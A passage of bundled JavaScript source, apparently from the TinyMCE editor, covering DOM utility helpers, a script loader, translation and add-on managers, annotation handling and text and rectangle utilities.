        return isParentNode(elm) ? from(elm.querySelectorAll(selector)) : [];
      };
      const run = function (elm, func, scope) {
        const context = scope !== null && scope !== void 0 ? scope : this;
        if (isArray$1(elm)) {
          const result = [];
          each$a(elm, (e, i) => {
            const node = get(e);
            if (node) {
              result.push(func.call(context, node, i));
            }
          });
          return result;
        } else {
          const node = get(elm);
          return !node ? false : func.call(context, node);
        }
      };
      const setAttribs = (elm, attrs) => {
        run(elm, $elm => {
          each$d(attrs, (value, name) => {
            setAttrib($elm, name, value);
          });
        });
      };
      const setHTML = (elm, html) => {
        run(elm, e => {
          const $elm = SugarElement.fromDom(e);
          set($elm, html);
        });
      };
      const add = (parentElm, name, attrs, html, create) => run(parentElm, parentElm => {
        const newElm = isString(name) ? doc.createElement(name) : name;
        if (isNonNullable(attrs)) {
          setAttribs(newElm, attrs);
        }
        if (html) {
          if (!isString(html) && html.nodeType) {
            newElm.appendChild(html);
          } else if (isString(html)) {
            setHTML(newElm, html);
          }
        }
        return !create ? parentElm.appendChild(newElm) : newElm;
      });
      const create = (name, attrs, html) => add(doc.createElement(name), name, attrs, html, true);
      const decode = Entities.decode;
      const encode = Entities.encodeAllRaw;
      const createHTML = (name, attrs, html = '') => {
        let outHtml = '<' + name;
        for (const key in attrs) {
          if (hasNonNullableKey(attrs, key)) {
            outHtml += ' ' + key + '="' + encode(attrs[key]) + '"';
          }
        }
        if (isEmpty$3(html) && has$2(schema.getVoidElements(), name)) {
          return outHtml + ' />';
        } else {
          return outHtml + '>' + html + '</' + name + '>';
        }
      };
      const createFragment = html => {
        const container = doc.createElement('div');
        const frag = doc.createDocumentFragment();
        frag.appendChild(container);
        if (html) {
          container.innerHTML = html;
        }
        let node;
        while (node = container.firstChild) {
          frag.appendChild(node);
        }
        frag.removeChild(container);
        return frag;
      };
      const remove = (node, keepChildren) => {
        return run(node, n => {
          const $node = SugarElement.fromDom(n);
          if (keepChildren) {
            each$e(children$1($node), child => {
              if (isText$b(child) && child.dom.length === 0) {
                remove$6(child);
              } else {
                before$3($node, child);
              }
            });
          }
          remove$6($node);
          return $node.dom;
        });
      };
      const removeAllAttribs = e => run(e, e => {
        const attrs = e.attributes;
        for (let i = attrs.length - 1; i >= 0; i--) {
          e.removeAttributeNode(attrs.item(i));
        }
      });
      const parseStyle = cssText => styles.parse(cssText);
      const serializeStyle = (stylesArg, name) => styles.serialize(stylesArg, name);
      const addStyle = cssText => {
        if (self !== DOMUtils.DOM && doc === document) {
          if (addedStyles[cssText]) {
            return;
          }
          addedStyles[cssText] = true;
        }
        let styleElm = doc.getElementById('mceDefaultStyles');
        if (!styleElm) {
          styleElm = doc.createElement('style');
          styleElm.id = 'mceDefaultStyles';
          styleElm.type = 'text/css';
          const head = doc.head;
          if (head.firstChild) {
            head.insertBefore(styleElm, head.firstChild);
          } else {
            head.appendChild(styleElm);
          }
        }
        if (styleElm.styleSheet) {
          styleElm.styleSheet.cssText += cssText;
        } else {
          styleElm.appendChild(doc.createTextNode(cssText));
        }
      };
      const loadCSS = urls => {
        if (!urls) {
          urls = '';
        }
        each$e(urls.split(','), url => {
          files[url] = true;
          styleSheetLoader.load(url).catch(noop);
        });
      };
      const toggleClass = (elm, cls, state) => {
        run(elm, e => {
          if (isElement$6(e)) {
            const $elm = SugarElement.fromDom(e);
            const classes = cls.split(' ');
            each$e(classes, c => {
              if (isNonNullable(state)) {
                const fn = state ? add$2 : remove$8;
                fn($elm, c);
              } else {
                toggle$1($elm, c);
              }
            });
          }
        });
      };
      const addClass = (elm, cls) => {
        toggleClass(elm, cls, true);
      };
      const removeClass = (elm, cls) => {
        toggleClass(elm, cls, false);
      };
      const hasClass = (elm, cls) => {
        const $elm = _get(elm);
        const classes = cls.split(' ');
        return isNonNullable($elm) && forall(classes, c => has($elm, c));
      };
      const show = elm => {
        run(elm, e => remove$7(SugarElement.fromDom(e), 'display'));
      };
      const hide = elm => {
        run(elm, e => set$1(SugarElement.fromDom(e), 'display', 'none'));
      };
      const isHidden = elm => {
        const $elm = _get(elm);
        return isNonNullable($elm) && is$2(getRaw$1($elm, 'display'), 'none');
      };
      const uniqueId = prefix => (!prefix ? 'mce_' : prefix) + counter++;
      const getOuterHTML = elm => {
        const $elm = _get(elm);
        if (isNonNullable($elm)) {
          return isElement$6($elm.dom) ? $elm.dom.outerHTML : getOuter($elm);
        } else {
          return '';
        }
      };
      const setOuterHTML = (elm, html) => {
        run(elm, $elm => {
          if (isElement$6($elm)) {
            $elm.outerHTML = html;
          }
        });
      };
      const insertAfter = (node, reference) => {
        const referenceNode = get(reference);
        return run(node, node => {
          const parent = referenceNode === null || referenceNode === void 0 ? void 0 : referenceNode.parentNode;
          const nextSibling = referenceNode === null || referenceNode === void 0 ? void 0 : referenceNode.nextSibling;
          if (parent) {
            if (nextSibling) {
              parent.insertBefore(node, nextSibling);
            } else {
              parent.appendChild(node);
            }
          }
          return node;
        });
      };
      const replace = (newElm, oldElm, keepChildren) => run(oldElm, elm => {
        var _a;
        const replacee = isArray$1(oldElm) ? newElm.cloneNode(true) : newElm;
        if (keepChildren) {
          each$a(grep(elm.childNodes), node => {
            replacee.appendChild(node);
          });
        }
        (_a = elm.parentNode) === null || _a === void 0 ? void 0 : _a.replaceChild(replacee, elm);
        return elm;
      });
      const rename = (elm, name) => {
        if (elm.nodeName !== name.toUpperCase()) {
          const newElm = create(name);
          each$a(getAttribs(elm), attrNode => {
            setAttrib(newElm, attrNode.nodeName, getAttrib(elm, attrNode.nodeName));
          });
          replace(newElm, elm, true);
          return newElm;
        } else {
          return elm;
        }
      };
      const findCommonAncestor = (a, b) => {
        let ps = a;
        while (ps) {
          let pe = b;
          while (pe && ps !== pe) {
            pe = pe.parentNode;
          }
          if (ps === pe) {
            break;
          }
          ps = ps.parentNode;
        }
        if (!ps && a.ownerDocument) {
          return a.ownerDocument.documentElement;
        } else {
          return ps;
        }
      };
      const isNonEmptyElement = node => {
        if (isElement$6(node)) {
          const isNamedAnchor = node.nodeName.toLowerCase() === 'a' && !getAttrib(node, 'href') && getAttrib(node, 'id');
          if (getAttrib(node, 'name') || getAttrib(node, 'data-mce-bookmark') || isNamedAnchor) {
            return true;
          }
        }
        return false;
      };
      const isEmpty = (node, elements) => {
        let brCount = 0;
        if (isNonEmptyElement(node)) {
          return false;
        }
        const firstChild = node.firstChild;
        if (firstChild) {
          const walker = new DomTreeWalker(firstChild, node);
          const whitespaceElements = schema ? schema.getWhitespaceElements() : {};
          const nonEmptyElements = elements || (schema ? schema.getNonEmptyElements() : null);
          let tempNode = firstChild;
          do {
            if (isElement$6(tempNode)) {
              const bogusVal = tempNode.getAttribute('data-mce-bogus');
              if (bogusVal) {
                tempNode = walker.next(bogusVal === 'all');
                continue;
              }
              const name = tempNode.nodeName.toLowerCase();
              if (nonEmptyElements && nonEmptyElements[name]) {
                if (name === 'br') {
                  brCount++;
                  tempNode = walker.next();
                  continue;
                }
                return false;
              }
              if (isNonEmptyElement(tempNode)) {
                return false;
              }
            }
            if (isComment(tempNode)) {
              return false;
            }
            if (isText$a(tempNode) && !isWhitespaceText(tempNode.data)) {
              return false;
            }
            if (isText$a(tempNode) && tempNode.parentNode && whitespaceElements[tempNode.parentNode.nodeName] && isWhitespaceText(tempNode.data)) {
              return false;
            }
            tempNode = walker.next();
          } while (tempNode);
        }
        return brCount <= 1;
      };
      const createRng = () => doc.createRange();
      const split = (parentElm, splitElm, replacementElm) => {
        let range = createRng();
        let beforeFragment;
        let afterFragment;
        if (parentElm && splitElm && parentElm.parentNode && splitElm.parentNode) {
          const parentNode = parentElm.parentNode;
          range.setStart(parentNode, findNodeIndex(parentElm));
          range.setEnd(splitElm.parentNode, findNodeIndex(splitElm));
          beforeFragment = range.extractContents();
          range = createRng();
          range.setStart(splitElm.parentNode, findNodeIndex(splitElm) + 1);
          range.setEnd(parentNode, findNodeIndex(parentElm) + 1);
          afterFragment = range.extractContents();
          parentNode.insertBefore(trimNode(self, beforeFragment), parentElm);
          if (replacementElm) {
            parentNode.insertBefore(replacementElm, parentElm);
          } else {
            parentNode.insertBefore(splitElm, parentElm);
          }
          parentNode.insertBefore(trimNode(self, afterFragment), parentElm);
          remove(parentElm);
          return replacementElm || splitElm;
        } else {
          return undefined;
        }
      };
      const bind = (target, name, func, scope) => {
        if (isArray$1(target)) {
          let i = target.length;
          const rv = [];
          while (i--) {
            rv[i] = bind(target[i], name, func, scope);
          }
          return rv;
        } else {
          if (settings.collect && (target === doc || target === win)) {
            boundEvents.push([
              target,
              name,
              func,
              scope
            ]);
          }
          return events.bind(target, name, func, scope || self);
        }
      };
      const unbind = (target, name, func) => {
        if (isArray$1(target)) {
          let i = target.length;
          const rv = [];
          while (i--) {
            rv[i] = unbind(target[i], name, func);
          }
          return rv;
        } else {
          if (boundEvents.length > 0 && (target === doc || target === win)) {
            let i = boundEvents.length;
            while (i--) {
              const [boundTarget, boundName, boundFunc] = boundEvents[i];
              if (target === boundTarget && (!name || name === boundName) && (!func || func === boundFunc)) {
                events.unbind(boundTarget, boundName, boundFunc);
              }
            }
          }
          return events.unbind(target, name, func);
        }
      };
      const dispatch = (target, name, evt) => events.dispatch(target, name, evt);
      const fire = (target, name, evt) => events.dispatch(target, name, evt);
      const getContentEditable = node => {
        if (node && isElement$6(node)) {
          const contentEditable = node.getAttribute('data-mce-contenteditable');
          if (contentEditable && contentEditable !== 'inherit') {
            return contentEditable;
          }
          return node.contentEditable !== 'inherit' ? node.contentEditable : null;
        } else {
          return null;
        }
      };
      const getContentEditableParent = node => {
        const root = getRoot();
        let state = null;
        for (let tempNode = node; tempNode && tempNode !== root; tempNode = tempNode.parentNode) {
          state = getContentEditable(tempNode);
          if (state !== null) {
            break;
          }
        }
        return state;
      };
      const destroy = () => {
        if (boundEvents.length > 0) {
          let i = boundEvents.length;
          while (i--) {
            const [boundTarget, boundName, boundFunc] = boundEvents[i];
            events.unbind(boundTarget, boundName, boundFunc);
          }
        }
        each$d(files, (_, url) => {
          styleSheetLoader.unload(url);
          delete files[url];
        });
      };
      const isChildOf = (node, parent) => {
        return node === parent || parent.contains(node);
      };
      const dumpRng = r => 'startContainer: ' + r.startContainer.nodeName + ', startOffset: ' + r.startOffset + ', endContainer: ' + r.endContainer.nodeName + ', endOffset: ' + r.endOffset;
      const self = {
        doc,
        settings,
        win,
        files,
        stdMode,
        boxModel,
        styleSheetLoader,
        boundEvents,
        styles,
        schema,
        events,
        isBlock: isBlock,
        root: null,
        clone,
        getRoot,
        getViewPort,
        getRect,
        getSize,
        getParent,
        getParents: getParents,
        get,
        getNext,
        getPrev,
        select,
        is,
        add,
        create,
        createHTML,
        createFragment,
        remove,
        setStyle,
        getStyle: getStyle,
        setStyles,
        removeAllAttribs,
        setAttrib,
        setAttribs,
        getAttrib,
        getPos: getPos$1,
        parseStyle,
        serializeStyle,
        addStyle,
        loadCSS,
        addClass,
        removeClass,
        hasClass,
        toggleClass,
        show,
        hide,
        isHidden,
        uniqueId,
        setHTML,
        getOuterHTML,
        setOuterHTML,
        decode,
        encode,
        insertAfter,
        replace,
        rename,
        findCommonAncestor,
        run,
        getAttribs,
        isEmpty,
        createRng,
        nodeIndex: findNodeIndex,
        split,
        bind: bind,
        unbind: unbind,
        fire,
        dispatch,
        getContentEditable,
        getContentEditableParent,
        destroy,
        isChildOf,
        dumpRng
      };
      const attrHooks = setupAttrHooks(styles, settings, constant(self));
      return self;
    };
    DOMUtils.DOM = DOMUtils(document);
    DOMUtils.nodeIndex = findNodeIndex;

    const DOM$b = DOMUtils.DOM;
    const QUEUED = 0;
    const LOADING = 1;
    const LOADED = 2;
    const FAILED = 3;
    class ScriptLoader {
      constructor(settings = {}) {
        this.states = {};
        this.queue = [];
        this.scriptLoadedCallbacks = {};
        this.queueLoadedCallbacks = [];
        this.loading = false;
        this.settings = settings;
      }
      _setReferrerPolicy(referrerPolicy) {
        this.settings.referrerPolicy = referrerPolicy;
      }
      loadScript(url) {
        return new Promise((resolve, reject) => {
          const dom = DOM$b;
          let elm;
          const cleanup = () => {
            dom.remove(id);
            if (elm) {
              elm.onerror = elm.onload = elm = null;
            }
          };
          const done = () => {
            cleanup();
            resolve();
          };
          const error = () => {
            cleanup();
            reject('Failed to load script: ' + url);
          };
          const id = dom.uniqueId();
          elm = document.createElement('script');
          elm.id = id;
          elm.type = 'text/javascript';
          elm.src = Tools._addCacheSuffix(url);
          if (this.settings.referrerPolicy) {
            dom.setAttrib(elm, 'referrerpolicy', this.settings.referrerPolicy);
          }
          elm.onload = done;
          elm.onerror = error;
          (document.getElementsByTagName('head')[0] || document.body).appendChild(elm);
        });
      }
      isDone(url) {
        return this.states[url] === LOADED;
      }
      markDone(url) {
        this.states[url] = LOADED;
      }
      add(url) {
        const self = this;
        self.queue.push(url);
        const state = self.states[url];
        if (state === undefined) {
          self.states[url] = QUEUED;
        }
        return new Promise((resolve, reject) => {
          if (!self.scriptLoadedCallbacks[url]) {
            self.scriptLoadedCallbacks[url] = [];
          }
          self.scriptLoadedCallbacks[url].push({
            resolve,
            reject
          });
        });
      }
      load(url) {
        return this.add(url);
      }
      remove(url) {
        delete this.states[url];
        delete this.scriptLoadedCallbacks[url];
      }
      loadQueue() {
        const queue = this.queue;
        this.queue = [];
        return this.loadScripts(queue);
      }
      loadScripts(scripts) {
        const self = this;
        const execCallbacks = (name, url) => {
          get$a(self.scriptLoadedCallbacks, url).each(callbacks => {
            each$e(callbacks, callback => callback[name](url));
          });
          delete self.scriptLoadedCallbacks[url];
        };
        const processResults = results => {
          const failures = filter$5(results, result => result.status === 'rejected');
          if (failures.length > 0) {
            return Promise.reject(bind$3(failures, ({reason}) => isArray$1(reason) ? reason : [reason]));
          } else {
            return Promise.resolve();
          }
        };
        const load = urls => Promise.allSettled(map$3(urls, url => {
          if (self.states[url] === LOADED) {
            execCallbacks('resolve', url);
            return Promise.resolve();
          } else if (self.states[url] === FAILED) {
            execCallbacks('reject', url);
            return Promise.reject(url);
          } else {
            self.states[url] = LOADING;
            return self.loadScript(url).then(() => {
              self.states[url] = LOADED;
              execCallbacks('resolve', url);
              const queue = self.queue;
              if (queue.length > 0) {
                self.queue = [];
                return load(queue).then(processResults);
              } else {
                return Promise.resolve();
              }
            }, () => {
              self.states[url] = FAILED;
              execCallbacks('reject', url);
              return Promise.reject(url);
            });
          }
        }));
        const processQueue = urls => {
          self.loading = true;
          return load(urls).then(results => {
            self.loading = false;
            const nextQueuedItem = self.queueLoadedCallbacks.shift();
            Optional.from(nextQueuedItem).each(call);
            return processResults(results);
          });
        };
        const uniqueScripts = stringArray(scripts);
        if (self.loading) {
          return new Promise((resolve, reject) => {
            self.queueLoadedCallbacks.push(() => processQueue(uniqueScripts).then(resolve, reject));
          });
        } else {
          return processQueue(uniqueScripts);
        }
      }
    }
    ScriptLoader.ScriptLoader = new ScriptLoader();

    const Cell = initial => {
      let value = initial;
      const get = () => {
        return value;
      };
      const set = v => {
        value = v;
      };
      return {
        get,
        set
      };
    };

    const isRaw = str => isObject(str) && has$2(str, 'raw');
    const isTokenised = str => isArray$1(str) && str.length > 1;
    const data = {};
    const currentCode = Cell('en');
    const getLanguageData = () => get$a(data, currentCode.get());
    const getData$1 = () => map$2(data, value => ({ ...value }));
    const setCode = newCode => {
      if (newCode) {
        currentCode.set(newCode);
      }
    };
    const getCode = () => currentCode.get();
    const add$1 = (code, items) => {
      let langData = data[code];
      if (!langData) {
        data[code] = langData = {};
      }
      each$d(items, (translation, name) => {
        langData[name.toLowerCase()] = translation;
      });
    };
    const translate = text => {
      const langData = getLanguageData().getOr({});
      const toString = obj => {
        if (isFunction(obj)) {
          return Object.prototype.toString.call(obj);
        }
        return !isEmpty(obj) ? '' + obj : '';
      };
      const isEmpty = text => text === '' || text === null || text === undefined;
      const getLangData = text => {
        const textstr = toString(text);
        return get$a(langData, textstr.toLowerCase()).map(toString).getOr(textstr);
      };
      const removeContext = str => str.replace(/{context:\w+}$/, '');
      if (isEmpty(text)) {
        return '';
      }
      if (isRaw(text)) {
        return toString(text.raw);
      }
      if (isTokenised(text)) {
        const values = text.slice(1);
        const substitued = getLangData(text[0]).replace(/\{([0-9]+)\}/g, ($1, $2) => has$2(values, $2) ? toString(values[$2]) : $1);
        return removeContext(substitued);
      }
      return removeContext(getLangData(text));
    };
    const isRtl$1 = () => getLanguageData().bind(items => get$a(items, '_dir')).exists(dir => dir === 'rtl');
    const hasCode = code => has$2(data, code);
    const I18n = {
      getData: getData$1,
      setCode,
      getCode,
      add: add$1,
      translate,
      isRtl: isRtl$1,
      hasCode
    };

    const AddOnManager = () => {
      const items = [];
      const urls = {};
      const lookup = {};
      const _listeners = [];
      const runListeners = (name, state) => {
        const matchedListeners = filter$5(_listeners, listener => listener.name === name && listener.state === state);
        each$e(matchedListeners, listener => listener.resolve());
      };
      const isLoaded = name => has$2(urls, name);
      const isAdded = name => has$2(lookup, name);
      const get = name => {
        if (lookup[name]) {
          return lookup[name].instance;
        }
        return undefined;
      };
      const loadLanguagePack = (name, languages) => {
        const language = I18n.getCode();
        const wrappedLanguages = ',' + (languages || '') + ',';
        if (!language || languages && wrappedLanguages.indexOf(',' + language + ',') === -1) {
          return;
        }
        ScriptLoader.ScriptLoader.add(urls[name] + '/langs/' + language + '.js');
      };
      const requireLangPack = (name, languages) => {
        if (AddOnManager.languageLoad !== false) {
          if (isLoaded(name)) {
            loadLanguagePack(name, languages);
          } else {
            waitFor(name, 'loaded').then(() => loadLanguagePack(name, languages));
          }
        }
      };
      const add = (id, addOn) => {
        items.push(addOn);
        lookup[id] = { instance: addOn };
        runListeners(id, 'added');
        return addOn;
      };
      const remove = name => {
        delete urls[name];
        delete lookup[name];
      };
      const createUrl = (baseUrl, dep) => {
        if (isString(dep)) {
          return isString(baseUrl) ? {
            prefix: '',
            resource: dep,
            suffix: ''
          } : {
            prefix: baseUrl.prefix,
            resource: dep,
            suffix: baseUrl.suffix
          };
        } else {
          return dep;
        }
      };
      const load = (name, addOnUrl) => {
        if (urls[name]) {
          return Promise.resolve();
        }
        let urlString = isString(addOnUrl) ? addOnUrl : addOnUrl.prefix + addOnUrl.resource + addOnUrl.suffix;
        if (urlString.indexOf('/') !== 0 && urlString.indexOf('://') === -1) {
          urlString = AddOnManager.baseURL + '/' + urlString;
        }
        urls[name] = urlString.substring(0, urlString.lastIndexOf('/'));
        const done = () => {
          runListeners(name, 'loaded');
          return Promise.resolve();
        };
        if (lookup[name]) {
          return done();
        } else {
          return ScriptLoader.ScriptLoader.add(urlString).then(done);
        }
      };
      const waitFor = (name, state = 'added') => {
        if (state === 'added' && isAdded(name)) {
          return Promise.resolve();
        } else if (state === 'loaded' && isLoaded(name)) {
          return Promise.resolve();
        } else {
          return new Promise(resolve => {
            _listeners.push({
              name,
              state,
              resolve
            });
          });
        }
      };
      return {
        items,
        urls,
        lookup,
        get,
        requireLangPack,
        add,
        remove,
        createUrl,
        load,
        waitFor
      };
    };
    AddOnManager.languageLoad = true;
    AddOnManager.baseURL = '';
    AddOnManager.PluginManager = AddOnManager();
    AddOnManager.ThemeManager = AddOnManager();
    AddOnManager.ModelManager = AddOnManager();

    const singleton = doRevoke => {
      const subject = Cell(Optional.none());
      const revoke = () => subject.get().each(doRevoke);
      const clear = () => {
        revoke();
        subject.set(Optional.none());
      };
      const isSet = () => subject.get().isSome();
      const get = () => subject.get();
      const set = s => {
        revoke();
        subject.set(Optional.some(s));
      };
      return {
        clear,
        isSet,
        get,
        set
      };
    };
    const repeatable = delay => {
      const intervalId = Cell(Optional.none());
      const revoke = () => intervalId.get().each(id => clearInterval(id));
      const clear = () => {
        revoke();
        intervalId.set(Optional.none());
      };
      const isSet = () => intervalId.get().isSome();
      const get = () => intervalId.get();
      const set = functionToRepeat => {
        revoke();
        intervalId.set(Optional.some(setInterval(functionToRepeat, delay)));
      };
      return {
        clear,
        isSet,
        get,
        set
      };
    };
    const value$2 = () => {
      const subject = singleton(noop);
      const on = f => subject.get().each(f);
      return {
        ...subject,
        on
      };
    };

    const first$1 = (fn, rate) => {
      let timer = null;
      const cancel = () => {
        if (!isNull(timer)) {
          clearTimeout(timer);
          timer = null;
        }
      };
      const throttle = (...args) => {
        if (isNull(timer)) {
          timer = setTimeout(() => {
            timer = null;
            fn.apply(null, args);
          }, rate);
        }
      };
      return {
        cancel,
        throttle
      };
    };
    const last$1 = (fn, rate) => {
      let timer = null;
      const cancel = () => {
        if (!isNull(timer)) {
          clearTimeout(timer);
          timer = null;
        }
      };
      const throttle = (...args) => {
        cancel();
        timer = setTimeout(() => {
          timer = null;
          fn.apply(null, args);
        }, rate);
      };
      return {
        cancel,
        throttle
      };
    };

    const annotation = constant('mce-annotation');
    const dataAnnotation = constant('data-mce-annotation');
    const dataAnnotationId = constant('data-mce-annotation-uid');
    const dataAnnotationActive = constant('data-mce-annotation-active');
    const dataAnnotationClasses = constant('data-mce-annotation-classes');
    const dataAnnotationAttributes = constant('data-mce-annotation-attrs');

    const isRoot$1 = root => node => eq(node, root);
    const identify = (editor, annotationName) => {
      const rng = editor.selection.getRng();
      const start = SugarElement.fromDom(rng.startContainer);
      const root = SugarElement.fromDom(editor.getBody());
      const selector = annotationName.fold(() => '.' + annotation(), an => `[${ dataAnnotation() }="${ an }"]`);
      const newStart = child$1(start, rng.startOffset).getOr(start);
      const closest = closest$3(newStart, selector, isRoot$1(root));
      return closest.bind(c => getOpt(c, `${ dataAnnotationId() }`).bind(uid => getOpt(c, `${ dataAnnotation() }`).map(name => {
        const elements = findMarkers(editor, uid);
        return {
          uid,
          name,
          elements
        };
      })));
    };
    const isAnnotation = elem => isElement$7(elem) && has(elem, annotation());
    const isBogusElement = (elem, root) => has$1(elem, 'data-mce-bogus') || ancestor$1(elem, '[data-mce-bogus="all"]', isRoot$1(root));
    const findMarkers = (editor, uid) => {
      const body = SugarElement.fromDom(editor.getBody());
      const descendants$1 = descendants(body, `[${ dataAnnotationId() }="${ uid }"]`);
      return filter$5(descendants$1, descendant => !isBogusElement(descendant, body));
    };
    const findAll = (editor, name) => {
      const body = SugarElement.fromDom(editor.getBody());
      const markers = descendants(body, `[${ dataAnnotation() }="${ name }"]`);
      const directory = {};
      each$e(markers, m => {
        if (!isBogusElement(m, body)) {
          const uid = get$9(m, dataAnnotationId());
          const nodesAlready = get$a(directory, uid).getOr([]);
          directory[uid] = nodesAlready.concat([m]);
        }
      });
      return directory;
    };

    const setup$x = (editor, registry) => {
      const changeCallbacks = Cell({});
      const initData = () => ({
        listeners: [],
        previous: value$2()
      });
      const withCallbacks = (name, f) => {
        updateCallbacks(name, data => {
          f(data);
          return data;
        });
      };
      const updateCallbacks = (name, f) => {
        const callbackMap = changeCallbacks.get();
        const data = get$a(callbackMap, name).getOrThunk(initData);
        const outputData = f(data);
        callbackMap[name] = outputData;
        changeCallbacks.set(callbackMap);
      };
      const fireCallbacks = (name, uid, elements) => {
        withCallbacks(name, data => {
          each$e(data.listeners, f => f(true, name, {
            uid,
            nodes: map$3(elements, elem => elem.dom)
          }));
        });
      };
      const fireNoAnnotation = name => {
        withCallbacks(name, data => {
          each$e(data.listeners, f => f(false, name));
        });
      };
      const toggleActiveAttr = (uid, state) => {
        each$e(findMarkers(editor, uid), elem => {
          if (state) {
            set$2(elem, dataAnnotationActive(), 'true');
          } else {
            remove$b(elem, dataAnnotationActive());
          }
        });
      };
      const onNodeChange = last$1(() => {
        const annotations = sort(registry.getNames());
        each$e(annotations, name => {
          updateCallbacks(name, data => {
            const prev = data.previous.get();
            identify(editor, Optional.some(name)).fold(() => {
              prev.each(uid => {
                fireNoAnnotation(name);
                data.previous.clear();
                toggleActiveAttr(uid, false);
              });
            }, ({uid, name, elements}) => {
              if (!is$2(prev, uid)) {
                prev.each(uid => toggleActiveAttr(uid, false));
                fireCallbacks(name, uid, elements);
                data.previous.set(uid);
                toggleActiveAttr(uid, true);
              }
            });
            return {
              previous: data.previous,
              listeners: data.listeners
            };
          });
        });
      }, 30);
      editor.on('remove', () => {
        onNodeChange.cancel();
      });
      editor.on('NodeChange', () => {
        onNodeChange.throttle();
      });
      const addListener = (name, f) => {
        updateCallbacks(name, data => ({
          previous: data.previous,
          listeners: data.listeners.concat([f])
        }));
      };
      return { addListener };
    };

    const setup$w = (editor, registry) => {
      const dataAnnotation$1 = dataAnnotation();
      const identifyParserNode = node => Optional.from(node.attr(dataAnnotation$1)).bind(registry.lookup);
      const removeDirectAnnotation = node => {
        var _a, _b;
        node.attr(dataAnnotationId(), null);
        node.attr(dataAnnotation(), null);
        node.attr(dataAnnotationActive(), null);
        const customAttrNames = Optional.from(node.attr(dataAnnotationAttributes())).map(names => names.split(',')).getOr([]);
        const customClasses = Optional.from(node.attr(dataAnnotationClasses())).map(names => names.split(',')).getOr([]);
        each$e(customAttrNames, name => node.attr(name, null));
        const classList = (_b = (_a = node.attr('class')) === null || _a === void 0 ? void 0 : _a.split(' ')) !== null && _b !== void 0 ? _b : [];
        const newClassList = difference(classList, [annotation()].concat(customClasses));
        node.attr('class', newClassList.length > 0 ? newClassList.join(' ') : null);
        node.attr(dataAnnotationClasses(), null);
        node.attr(dataAnnotationAttributes(), null);
      };
      editor.serializer.addTempAttr(dataAnnotationActive());
      editor.serializer.addAttributeFilter(dataAnnotation$1, nodes => {
        for (const node of nodes) {
          identifyParserNode(node).each(settings => {
            if (settings.persistent === false) {
              if (node.name === 'span') {
                node.unwrap();
              } else {
                removeDirectAnnotation(node);
              }
            }
          });
        }
      });
    };

    const create$c = () => {
      const annotations = {};
      const register = (name, settings) => {
        annotations[name] = {
          name,
          settings
        };
      };
      const lookup = name => get$a(annotations, name).map(a => a.settings);
      const getNames = () => keys(annotations);
      return {
        register,
        lookup,
        getNames
      };
    };

    let unique = 0;
    const generate$1 = prefix => {
      const date = new Date();
      const time = date.getTime();
      const random = Math.floor(Math.random() * 1000000000);
      unique++;
      return prefix + '_' + random + unique + String(time);
    };

    const add = (element, classes) => {
      each$e(classes, x => {
        add$2(element, x);
      });
    };
    const remove$5 = (element, classes) => {
      each$e(classes, x => {
        remove$8(element, x);
      });
    };

    const clone$2 = (original, isDeep) => SugarElement.fromDom(original.dom.cloneNode(isDeep));
    const shallow$1 = original => clone$2(original, false);
    const deep$1 = original => clone$2(original, true);
    const shallowAs = (original, tag) => {
      const nu = SugarElement.fromTag(tag);
      const attributes = clone$4(original);
      setAll$1(nu, attributes);
      return nu;
    };
    const mutate = (original, tag) => {
      const nu = shallowAs(original, tag);
      after$4(original, nu);
      const children = children$1(original);
      append(nu, children);
      remove$6(original);
      return nu;
    };

    const TextWalker = (startNode, rootNode, isBoundary = never) => {
      const walker = new DomTreeWalker(startNode, rootNode);
      const walk = direction => {
        let next;
        do {
          next = walker[direction]();
        } while (next && !isText$a(next) && !isBoundary(next));
        return Optional.from(next).filter(isText$a);
      };
      return {
        current: () => Optional.from(walker.current()).filter(isText$a),
        next: () => walk('next'),
        prev: () => walk('prev'),
        prev2: () => walk('prev2')
      };
    };

    const TextSeeker = (dom, isBoundary) => {
      const isBlockBoundary = isBoundary ? isBoundary : node => dom.isBlock(node) || isBr$6(node) || isContentEditableFalse$a(node);
      const walk = (node, offset, walker, process) => {
        if (isText$a(node)) {
          const newOffset = process(node, offset, node.data);
          if (newOffset !== -1) {
            return Optional.some({
              container: node,
              offset: newOffset
            });
          }
        }
        return walker().bind(next => walk(next.container, next.offset, walker, process));
      };
      const backwards = (node, offset, process, root) => {
        const walker = TextWalker(node, root !== null && root !== void 0 ? root : dom.getRoot(), isBlockBoundary);
        return walk(node, offset, () => walker.prev().map(prev => ({
          container: prev,
          offset: prev.length
        })), process).getOrNull();
      };
      const forwards = (node, offset, process, root) => {
        const walker = TextWalker(node, root !== null && root !== void 0 ? root : dom.getRoot(), isBlockBoundary);
        return walk(node, offset, () => walker.next().map(next => ({
          container: next,
          offset: 0
        })), process).getOrNull();
      };
      return {
        backwards,
        forwards
      };
    };

    const round$2 = Math.round;
    const clone$1 = rect => {
      if (!rect) {
        return {
          left: 0,
          top: 0,
          bottom: 0,
          right: 0,
          width: 0,
          height: 0
        };
      }
      return {
        left: round$2(rect.left),
        top: round$2(rect.top),
        bottom: round$2(rect.bottom),
        right: round$2(rect.right),
        width: round$2(rect.width),
        height: round$2(rect.height)
      };
    };
    const collapse = (rect, toStart) => {
      rect = clone$1(rect);
      if (toStart) {
        rect.right = rect.left;
      } else {
        rect.left = rect.left + rect.width;
        rect.right = rect.left;
      }
      rect.width = 0;
      return rect;
    };
    const isEqual = (rect1, rect2) => rect1.left === rect2.left && rect1.top === rect2.top && rect1.bottom === rect2.bottom && rect1.right === rect2.right;
    const isValidOverflow = (overflowY, rect1, rect2) => overflowY >= 0 && overflowY <= Math.min(rect1.height, rect2.height) / 2;
    const isAbove$1 = (rect1, rect2) => {
      const halfHeight = Math.min(rect2.height / 2, rect1.height / 2);
      if (rect1.bottom - halfHeight < rect2.top) {
        return true;
      }
      if (rect1.top > rect2.bottom) {
        return false;
      }
      return isValidOverflow(rect2.top - rect1.bottom, rect1, rect2);
    };
    const isBelow$1 = (rect1, rect2) => {
      if (rect1.top > rect2.bottom) {
        return true;
      }
      if (rect1.bottom < rect2.top) {
        return false;
      }
      return isValidOverflow(rect2.bottom - rect1.top, rect1, rect2);
    };
    const containsXY = (rect, clientX, clientY) => clientX >= rect.left && clientX <= rect.right && clientY >= rect.top && clientY <= rect.bottom;
    const boundingClientRectFromRects = rects => {
      return foldl(rects, (acc, rect) => {
        return acc.fold(() => Optional.some(rect), prevRect => {
          const left = Math.min(rect.left, prevRect.left);
          const top = Math.min(rect.top, prevRect.top);
          const right = Math.max(rect.right, prevRect.right);
          const bottom = Math.max(rect.bottom, prevRect.bottom);
          return Optional.some({
            top,
            right,
